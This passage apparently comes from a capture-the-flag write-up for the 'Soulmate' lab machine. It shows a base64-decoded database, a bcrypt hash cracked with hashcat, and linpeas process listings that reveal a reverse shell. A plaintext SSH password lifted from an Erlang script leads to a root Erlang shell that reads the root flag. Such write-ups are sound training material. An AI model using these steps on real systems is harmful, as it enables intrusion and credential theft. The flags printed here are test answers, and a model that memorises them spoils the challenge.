AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAJAQMXAXVzZXJzAg==

pasting into a file and: cat "myfile"|base64 -d > soulmate.db

Now, lets inspect it: sqlitebrowser soulmate.db Found this hash for admin $2y$12$u0AC6fpQu0MJt7uJ80tM.Oh4lEmCMgvBs3PwNNZIR7lor05ING3v2

Cracking with hashcat : hashcat -m 3200 hash /usr/share/wordlists/rockyou.txt

Meanwhile lets run linpeas…

═══╣ Running processes (cleaned)
╚ Check weird & unexpected processes run by root: https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#processes                                                                                                                                                                                 
root           1  0.0  0.2 166072 11524 ?        Ss   20:48   0:02 /sbin/init                                                                                                                                                                                                                                               
root         508  0.0  0.5  64468 23848 ?        S<s  20:48   0:03 /lib/systemd/systemd-journald
root         545  0.0  0.6 289352 27084 ?        SLsl 20:48   0:00 /sbin/multipathd -d -s
root         547  0.0  0.1  26156  6660 ?        Ss   20:48   0:00 /lib/systemd/systemd-udevd
systemd+     607  0.0  0.3  26596 14512 ?        Ss   20:48   0:00 /lib/systemd/systemd-resolved
  └─(Caps) 0x0000000000002000=cap_net_raw
systemd+     608  0.0  0.1  89364  6608 ?        Ssl  20:48   0:00 /lib/systemd/systemd-timesyncd
  └─(Caps) 0x0000000002000000=cap_sys_time
root         609  0.0  0.2  51152 11732 ?        Ss   20:48   0:00 /usr/bin/VGAuthService
root         611  0.1  0.2 242336  9980 ?        Ssl  20:48   0:06 /usr/bin/vmtoolsd
root         614  0.0  0.0  85628  3060 ?        S<sl 20:48   0:01 /sbin/auditd
_laurel      619  0.0  0.1  10180  6388 ?        S<   20:48   0:01  _ /usr/local/sbin/laurel --config /etc/laurel/config.toml
  └─(Caps) 0x0000000000080004=cap_dac_read_search,cap_sys_ptrace
root         684  0.0  0.1 101244  5888 ?        Ssl  20:48   0:00 /sbin/dhclient -1 -4 -v -i -pf /run/dhclient.eth0.pid -lf /var/lib/dhcp/dhclient.eth0.leases -I -df /var/lib/dhcp/dhclient6.eth0.leases eth0
message+     813  0.0  0.1   8632  4628 ?        Ss   20:48   0:00 @dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only
  └─(Caps) 0x0000000020000000=cap_audit_write
root         826  0.0  0.1  82832  4012 ?        Ssl  20:48   0:00 /usr/sbin/irqbalance --foreground
root         829  0.0  0.4  32724 19596 ?        Ss   20:48   0:00 /usr/bin/python3 /usr/bin/networkd-dispatcher --run-startup-triggers
root         831  0.0  0.1 234516  6600 ?        Ssl  20:48   0:00 /usr/libexec/polkitd --no-debug
syslog       832  0.0  0.1 222404  5756 ?        Ssl  20:48   0:00 /usr/sbin/rsyslogd -n -iNONE
root         834  0.0  0.1  14912  6528 ?        Ss   20:48   0:00 /lib/systemd/systemd-logind
root         835  0.0  0.3 392504 12636 ?        Ssl  20:48   0:00 /usr/libexec/udisks2/udisksd
root         872  0.0  0.3 317964 12088 ?        Ssl  20:48   0:00 /usr/sbin/ModemManager
root        1146  0.0  1.6 2252168 67812 ?       Ssl  20:48   0:03 /usr/local/lib/erlang_login/start.escript -B -- -root /usr/local/lib/erlang -bindir /usr/local/lib/erlang/erts-15.2.5/bin -progname erl -- -home /root -- -noshell -boot no_dot_erlang -sname ssh_runner -run escript start -- -- -kernel inet_dist_use_interface {127,0,0,1} -- -extra /usr/local/lib/erlang_login/start.escript
root        1199  0.0  0.0   2784   976 ?        Ss   20:48   0:00  _ erl_child_setup 1024
root        1150  0.0  0.0   7140   224 ?        S    20:48   0:00 /usr/bin/epmd -daemon -address 127.0.0.1
root        1151  0.0  0.0   6896  3000 ?        Ss   20:48   0:00 /usr/sbin/cron -f -P
root        1164  0.0  0.1  10348  4028 ?        S    20:48   0:00  _ /usr/sbin/CRON -f -P
root        1182  0.0  0.0   2892   960 ?        Ss   20:48   0:00      _ /bin/sh -c /root/scripts/clean-web.sh
root        1183  0.0  0.0   7372  3468 ?        S    20:48   0:00          _ /bin/bash /root/scripts/clean-web.sh
root        1185  0.0  0.0   3104  1172 ?        S    20:48   0:00              _ inotifywait -m -r -e create --format %w%f /var/www/soulmate.htb/public
root        1186  0.0  0.0   7372  1776 ?        S    20:48   0:00              _ /bin/bash /root/scripts/clean-web.sh
root        1152  0.0  0.5 204160 20108 ?        Ss   20:48   0:00 php-fpm: master process (/etc/php/8.1/fpm/php-fpm.conf)
www-data    1200  0.0  0.3 204772 15876 ?        S    20:48   0:00  _ php-fpm: pool www
www-data    1201  0.0  0.4 204772 16024 ?        S    20:48   0:00  _ php-fpm: pool www
www-data    2429  0.0  0.0   2892   988 ?        S    21:59   0:00      _ sh -c uname -a; w; id; /bin/sh -i
www-data    2433  0.0  0.0   2892  1780 ?        S    21:59   0:00          _ /bin/sh -i
www-data    2569  0.2  0.0   3772  2748 ?        S    22:18   0:00              _ /bin/sh ./linpeas.sh
www-data    5716  0.0  0.0   3772  1084 ?        S    22:19   0:00                  _ /bin/sh ./linpeas.sh
www-data    5718  0.0  0.0   7388  3380 ?        R    22:19   0:00                  |   _ ps fauxwww
www-data    5720  0.0  0.0   3772  1084 ?        S    22:19   0:00                  _ /bin/sh ./linpeas.sh
root        1158  0.1  1.1 1802208 47804 ?       Ssl  20:48   0:06 /usr/bin/containerd
root        1172  0.0  0.0   6176  1088 tty1     Ss+  20:48   0:00 /sbin/agetty -o -p -- u --noclear tty1 linux
root        1195  0.0  0.0  55232  1756 ?        Ss   20:48   0:00 nginx: master process /usr/sbin/nginx -g daemon[0m on; master_process on;
www-data    1196  1.0  0.1  56304  6940 ?        S    20:48   0:54  _ nginx: worker process
www-data    1197  0.7  0.1  56272  6972 ?        S    20:48   0:39  _ nginx: worker process
root        1223  0.0  1.9 2431396 79672 ?       Ssl  20:48   0:02 /usr/bin/dockerd -H fd:// --containerd=/run/containerd/containerd.sock
root        1786  0.0  0.0 1671188 3984 ?        Sl   20:48   0:00  _ /usr/bin/docker-proxy -proto tcp -host-ip 127.0.0.1 -host-port 8443 -container-ip 172.19.0.2 -container-port 443
root        1799  0.0  0.0 1597200 3580 ?        Sl   20:48   0:00  _ /usr/bin/docker-proxy -proto tcp -host-ip 127.0.0.1 -host-port 8080 -container-ip 172.19.0.2 -container-port 8080
root        1805  0.0  0.1 1744920 5960 ?        Sl   20:48   0:03  _ /usr/bin/docker-proxy -proto tcp -host-ip 127.0.0.1 -host-port 9090 -container-ip 172.19.0.2 -container-port 9090
root        1549  0.0  0.0   7372  3480 ?        Ss   20:48   0:00 /bin/bash /root/scripts/start-crushftp.sh
root        1587  0.1  0.8 264236 34220 ?        Sl   20:48   0:07  _ /usr/bin/python3 /usr/bin/docker-compose up
root        1843  0.0  0.3 1238020 13608 ?       Sl   20:48   0:00 /usr/bin/containerd-shim-runc-v2 -namespace moby -id d512837af5ef02eaaff4dfdcdd70e7d80e338b2513af31caf17a4870e3e656db -address /run/containerd/containerd.sock
root        1865  1.7  8.2 3147124 328764 ?      Ssl  20:48   1:34  _ java -Ddir=/app/CrushFTP11 -Xmx512M -jar /app/CrushFTP11/plugins/lib/CrushFTPJarProxy.jar -ad crushadmin PASSFILE

not sure what this is : /usr/local/lib/erlang_login/start.escript -B -- -root /usr/local/lib/erlang -bindir /usr/local/lib/erlang/erts-15.2.5/bin -progname erl -- -home /root -- -noshell -boot no_dot_erlang -sname ssh_runner -run escript start -- -- -kernel inet_dist_use_interface {127,0,0,1} -- -extra /usr/local/lib/erlang_login/start.escript

(Nice restart htb machine script…)

script content:

cat /usr/local/lib/erlang_login/start.escript
cat /usr/local/lib/erlang_login/start.escript
#!/usr/bin/env escript
%%! -sname ssh_runner

main(_) ->
    application:start(asn1),
    application:start(crypto),
    application:start(public_key),
    application:start(ssh),

    io:format("Starting SSH daemon with logging...~n"),

    case ssh:daemon(2222, [
        {ip, {127,0,0,1}},
        {system_dir, "/etc/ssh"},

        {user_dir_fun, fun(User) ->
            Dir = filename:join("/home", User),
            io:format("Resolving user_dir for ~p: ~s/.ssh~n", [User, Dir]),
            filename:join(Dir, ".ssh")
        end},

        {connectfun, fun(User, PeerAddr, Method) ->
            io:format("Auth success for user: ~p from ~p via ~p~n",
                      [User, PeerAddr, Method]),
            true
        end},

        {failfun, fun(User, PeerAddr, Reason) ->
            io:format("Auth failed for user: ~p from ~p, reason: ~p~n",
                      [User, PeerAddr, Reason]),
            true
        end},

        {auth_methods, "publickey,password"},

        {user_passwords, [{"ben", "HouseH0ldings998"}]},
        {idle_time, infinity},
        {max_channels, 10},
        {max_sessions, 10},
        {parallel_login, true}
    ]) of
        {ok, _Pid} ->
            io:format("SSH daemon running on port 2222. Press Ctrl+C to exit.~n");
        {error, Reason} ->
            io:format("Failed to start SSH daemon: ~p~n", [Reason])
    end,

    receive
        stop -> ok
    end.

ben:HouseH0ldings998, lets try. It worked! 53b50bcc4357852a7a63c65c5bfd7ba5

5. SSH (ben)

ben:HouseH0ldings998

═══════╣ Running processes (cleaned)
╚ Check weird & unexpected processes run by root: https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#processes                                                                                                                  
root           1  0.1  0.2 166072 11572 ?        Ss   20:48   0:10 /sbin/init                                                                                                                                                                                
root         508  0.1  4.1 261064 166916 ?       S<s  20:48   0:10 /lib/systemd/systemd-journald
root         545  0.0  0.6 289352 27084 ?        SLsl 20:48   0:00 /sbin/multipathd -d -s
root         547  0.0  0.1  26156  6836 ?        Ss   20:48   0:00 /lib/systemd/systemd-udevd
systemd+     607  0.0  0.3  26596 14512 ?        Ss   20:48   0:00 /lib/systemd/systemd-resolved
  └─(Caps) 0x0000000000002000=cap_net_raw
systemd+     608  0.0  0.1  89364  6608 ?        Ssl  20:48   0:00 /lib/systemd/systemd-timesyncd
  └─(Caps) 0x0000000002000000=cap_sys_time
root         609  0.0  0.2  51152 11732 ?        Ss   20:48   0:00 /usr/bin/VGAuthService
root         611  0.1  0.2 242336  9980 ?        Ssl  20:48   0:07 /usr/bin/vmtoolsd
root         614  0.1  0.0  85628  3092 ?        S<sl 20:48   0:07 /sbin/auditd
_laurel      619  0.1  0.1  11488  7800 ?        S<   20:48   0:06  _ /usr/local/sbin/laurel --config /etc/laurel/config.toml
  └─(Caps) 0x0000000000080004=cap_dac_read_search,cap_sys_ptrace
root         684  0.0  0.1 101244  5888 ?        Ssl  20:48   0:00 /sbin/dhclient -1 -4 -v -i -pf /run/dhclient.eth0.pid -lf /var/lib/dhcp/dhclient.eth0.leases -I -df /var/lib/dhcp/dhclient6.eth0.leases eth0
message+     813  0.0  0.1   8692  4760 ?        Ss   20:48   0:00 @dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only
  └─(Caps) 0x0000000020000000=cap_audit_write
root         826  0.0  0.1  82832  4012 ?        Ssl  20:48   0:00 /usr/sbin/irqbalance --foreground
root         829  0.0  0.4  32724 19596 ?        Ss   20:48   0:00 /usr/bin/python3 /usr/bin/networkd-dispatcher --run-startup-triggers
root         831  0.0  0.1 234516  6600 ?        Ssl  20:48   0:00 /usr/libexec/polkitd --no-debug
syslog       832  0.0  0.1 222404  5756 ?        Ssl  20:48   0:00 /usr/sbin/rsyslogd -n -iNONE
root         834  0.0  0.1  15508  7448 ?        Ss   20:48   0:00 /lib/systemd/systemd-logind
root         835  0.0  0.3 392504 12636 ?        Ssl  20:48   0:00 /usr/libexec/udisks2/udisksd
root         872  0.0  0.3 317964 12088 ?        Ssl  20:48   0:00 /usr/sbin/ModemManager
root        1146  0.0  1.6 2252168 67812 ?       Ssl  20:48   0:04 /usr/local/lib/erlang_login/start.escript -B -- -root /usr/local/lib/erlang -bindir /usr/local/lib/erlang/erts-15.2.5/bin -progname erl -- -home /root -- -noshell -boot no_dot_erlang -sname ssh_runner -run escript start -- -- -kernel inet_dist_use_interface {127,0,0,1} -- -extra /usr/local/lib/erlang_login/start.escript
root        1199  0.0  0.0   2784   976 ?        Ss   20:48   0:00  _ erl_child_setup 1024
root        1150  0.0  0.0   7140   224 ?        S    20:48   0:00 /usr/bin/epmd -daemon -address 127.0.0.1
root        1151  0.0  0.0   6896  3000 ?        Ss   20:48   0:00 /usr/sbin/cron -f -P
root        1164  0.0  0.1  10348  4028 ?        S    20:48   0:00  _ /usr/sbin/CRON -f -P
root        1182  0.0  0.0   2892   960 ?        Ss   20:48   0:00      _ /bin/sh -c /root/scripts/clean-web.sh
root        1183  0.0  0.0   7372  3468 ?        S    20:48   0:00          _ /bin/bash /root/scripts/clean-web.sh
root        1185  0.0  0.0   3104  1172 ?        S    20:48   0:00              _ inotifywait -m -r -e create --format %w%f /var/www/soulmate.htb/public
root        1186  0.0  0.0   7372  1776 ?        S    20:48   0:00              _ /bin/bash /root/scripts/clean-web.sh
root        1152  0.0  0.5 204160 20108 ?        Ss   20:48   0:00 php-fpm: master process (/etc/php/8.1/fpm/php-fpm.conf)
www-data    1200  0.0  0.3 204772 15876 ?        S    20:48   0:00  _ php-fpm: pool www
www-data   32389  0.0  0.0   2892   940 ?        S    22:27   0:00  |   _ sh -c uname -a; w; id; /bin/sh -i
www-data   32393  0.0  0.0   2892   956 ?        S    22:27   0:00  |       _ /bin/sh -i
www-data   32394  0.0  0.2  17736  8920 ?        S    22:27   0:00  |           _ python3 -c import pty; pty.spawn('/bin/bash');
www-data   32395  0.0  0.0   7984  3996 pts/0    Ss+  22:27   0:00  |               _ /bin/bash
www-data    1201  0.0  0.4 204772 16156 ?        S    20:48   0:00  _ php-fpm: pool www
root        1158  0.1  1.1 1802208 47804 ?       Ssl  20:48   0:07 /usr/bin/containerd
root        1172  0.0  0.0   6176  1088 tty1     Ss+  20:48   0:00 /sbin/agetty -o -p -- u --noclear tty1 linux
ben        32492  0.0  0.1  17316  8000 ?        S    22:29   0:00  |   _ sshd: ben@pts/1
ben        32495  0.0  0.1   8784  5448 pts/1    Ss   22:29   0:00  |       _ /bin/bash -l
ben        32550  0.3  0.0   3772  2648 pts/1    S+   22:30   0:00  |           _ /bin/sh ./linpeas.sh
ben        35750  0.0  0.0   3772  1096 pts/1    S+   22:31   0:00  |               _ /bin/sh ./linpeas.sh
ben        35753  0.0  0.0  10500  3908 pts/1    R+   22:31   0:00  |               |   _ ps fauxwww
ben        35754  0.0  0.0   3772  1096 pts/1    S+   22:31   0:00  |               _ /bin/sh ./linpeas.sh
ben        35658  0.0  0.2  17320  8044 ?        S    22:31   0:00      _ sshd: ben@pts/2
ben        35659  0.0  0.0   7372  3468 pts/2    Ss+  22:31   0:00          _ bash /usr/local/sbin/erlang_login_wrapper
ben        35660  0.0  1.1 2246448 47496 pts/2   Sl+  22:31   0:00              _ /usr/local/lib/erlang_login/login.escript -B -- -root /usr/local/lib/erlang -bindir /usr/local/lib/erlang/erts-15.2.5/bin -progname erl -- -home /home/ben -- -noshell -boot no_dot_erlang -noshell -run escript start -- -- -extra /usr/local/lib/erlang_login/login.escript
ben        35666  0.0  0.0   2784   924 ?        Ss   22:31   0:00                  _ erl_child_setup 1024
root        1195  0.0  0.0  55232  1756 ?        Ss   20:48   0:00 nginx: master process /usr/sbin/nginx -g daemon[0m on; master_process on;
www-data    1196  0.8  0.1  56304  6940 ?        S    20:48   0:54  _ nginx: worker process
www-data    1197  0.6  0.1  56272  6972 ?        S    20:48   0:39  _ nginx: worker process
root        1223  0.0  1.9 2431396 79672 ?       Ssl  20:48   0:02 /usr/bin/dockerd -H fd:// --containerd=/run/containerd/containerd.sock
root        1786  0.0  0.0 1671188 3984 ?        Sl   20:48   0:00  _ /usr/bin/docker-proxy -proto tcp -host-ip 127.0.0.1 -host-port 8443 -container-ip 172.19.0.2 -container-port 443
root        1799  0.0  0.0 1597200 3580 ?        Sl   20:48   0:00  _ /usr/bin/docker-proxy -proto tcp -host-ip 127.0.0.1 -host-port 8080 -container-ip 172.19.0.2 -container-port 8080
root        1805  0.0  0.1 1744920 5960 ?        Sl   20:48   0:03  _ /usr/bin/docker-proxy -proto tcp -host-ip 127.0.0.1 -host-port 9090 -container-ip 172.19.0.2 -container-port 9090
root        1549  0.0  0.0   7372  3480 ?        Ss   20:48   0:00 /bin/bash /root/scripts/start-crushftp.sh
root        1587  0.1  0.8 264236 34220 ?        Sl   20:48   0:08  _ /usr/bin/python3 /usr/bin/docker-compose up
root        1843  0.0  0.3 1238020 13640 ?       Sl   20:48   0:00 /usr/bin/containerd-shim-runc-v2 -namespace moby -id d512837af5ef02eaaff4dfdcdd70e7d80e338b2513af31caf17a4870e3e656db -address /run/containerd/containerd.sock
root        1865  1.6  8.2 3147124 329936 ?      Ssl  20:48   1:42  _ java -Ddir=/app/CrushFTP11 -Xmx512M -jar /app/CrushFTP11/plugins/lib/CrushFTPJarProxy.jar -ad crushadmin PASSFILE
www-data   23028  0.0  0.0   4364  1560 ?        S    22:19   0:00 bash -c ((( echo cfc9 0100 0001 0000 0000 0000 0a64 7563 6b64 7563 6b67 6f03 636f 6d00 0001 0001 | xxd -p -r >&3; dd bs=9000 count=1 <&3 2>/dev/null | xxd ) 3>/dev/udp/1.1.1.1/53 && echo "DNS accessible") | grep "accessible" && exit 0 ) 2>/dev/null || echo "DNS is not accessible"
www-data   23032  0.0  0.0   4364   248 ?        S    22:19   0:00  _ bash -c ((( echo cfc9 0100 0001 0000 0000 0000 0a64 7563 6b64 7563 6b67 6f03 636f 6d00 0001 0001 | xxd -p -r >&3; dd bs=9000 count=1 <&3 2>/dev/null | xxd ) 3>/dev/udp/1.1.1.1/53 && echo "DNS accessible") | grep "accessible" && exit 0 ) 2>/dev/null || echo "DNS is not accessible"
www-data   23036  0.0  0.0   4364  1828 ?        S    22:19   0:00  |   _ bash -c ((( echo cfc9 0100 0001 0000 0000 0000 0a64 7563 6b64 7563 6b67 6f03 636f 6d00 0001 0001 | xxd -p -r >&3; dd bs=9000 count=1 <&3 2>/dev/null | xxd ) 3>/dev/udp/1.1.1.1/53 && echo "DNS accessible") | grep "accessible" && exit 0 ) 2>/dev/null || echo "DNS is not accessible"
www-data   23041  0.0  0.0   2828  1028 ?        S    22:19   0:00  |       _ dd bs=9000 count=1
www-data   23042  0.0  0.0   2784   964 ?        S    22:19   0:00  |       _ xxd
www-data   23033  0.0  0.0   3472  1728 ?        S    22:19   0:00  _ grep accessible
ben        32405  0.0  0.2  17084  9820 ?        Ss   22:29   0:00 /lib/systemd/systemd --user
ben        32406  0.0  0.0 169264  3724 ?        S    22:29   0:00  _ (sd-pam)

Analysing again the code from the past section, it seems to start a local listener on 2222. Not only that but looking at /usr/local/lib/erlang_login/start.escript -B -- -root /usr/local/lib/erlang -bindir /usr/local/lib/erlang/erts-15.2.5/bin -progname erl -- -home /root -- -noshell -boot no_dot_erlang -sname ssh_runner -run escript start -- -- -kernel inet_dist_use_interface {127,0,0,1} -- -extra /usr/local/lib/erlang_login/start.escript it seems like if i connect i access /root

So: ssh -p2222 ben@127.0.0.1`

SSH-2.0-Erlang/5.2.9

(ssh_runner@soulmate)1> application:which_applications().

[{ssh,"SSH-2 for Erlang/OTP","5.2.9"},
 {public_key,"Public key infrastructure","1.17.1"},
 {crypto,"CRYPTO","5.5.3"},
 {asn1,"The Erlang ASN1 compiler version 5.3.4","5.3.4"},
 {stdlib,"ERTS  CXC 138 10","6.2.2"},
 {kernel,"ERTS  CXC 138 10","10.2.5"}]
(ssh_runner@soulmate)2> 
                        file:list_dir("/etc").
{ok,["multipath.conf","rc1.d","e2scrub.conf",".java",
     "bash.bashrc","localtime","fop.conf.d","groff","udev",
     "PackageKit","dhcp","java-11-openjdk",
     "cryptsetup-initramfs","terminfo","kernel",
     "usb_modeswitch.conf","grub.d","deluser.conf","issue.net",
     "gtk-3.0","cron.weekly","dbus-1","nsswitch.conf","mtab",
     "sudo_logsrvd.conf","hosts",
     [...]|...]}
(ssh_runner@soulmate)3> {ok, Bin} = file:read_file("/root/root.txt"),
                        io:format("~s", [Bin]).
aee2bddfdc3cdfd26efb3efafd21c75c
ok
(ssh_runner@soulmate)4> 

It took me a bit to understand this code logic and perplexity helped :P aee2bddfdc3cdfd26efb3efafd21c75c

©
